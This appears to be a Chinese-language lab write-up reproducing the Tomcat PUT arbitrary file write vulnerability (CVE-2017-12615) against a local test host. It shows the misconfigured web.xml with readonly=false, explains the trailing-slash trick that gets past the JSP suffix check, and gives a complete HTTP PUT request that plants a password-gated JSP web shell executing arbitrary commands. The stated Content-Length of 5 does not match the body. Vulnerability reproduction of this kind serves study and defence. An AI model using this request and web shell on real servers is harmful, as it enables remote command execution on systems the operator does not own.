通过 PUT 方法的 Tomcat 任意写入文件漏洞 (CVE-2017-12615)

通过 PUT 方法的 Tomcat 任意写入文件漏洞 (CVE-2017-12615)

Tomcat版本:8.5.19

参考链接:

漏洞复现

成功运行上述命令后,访问该站点即可看到 Tomcat 的示例页面http://192.168.44.132:8080

Tomcat设置了写权限(readonly=false),导致我们可以将文件写入服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

虽然Tomcat在一定程度上检查了文件后缀(不能直接写jsp),但是我们还是可以通过一些文件系统的特性(比如/在Linux中使用)来绕过这个限制。

直接发送以下数据包,然后将shell写入Web根目录。

1
2
3
4
5
6
7
8
9
10
PUT /1.jsp/ HTTP/1.1
Host: 192.168.44.132:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

如下:

image-20220303112427760

0%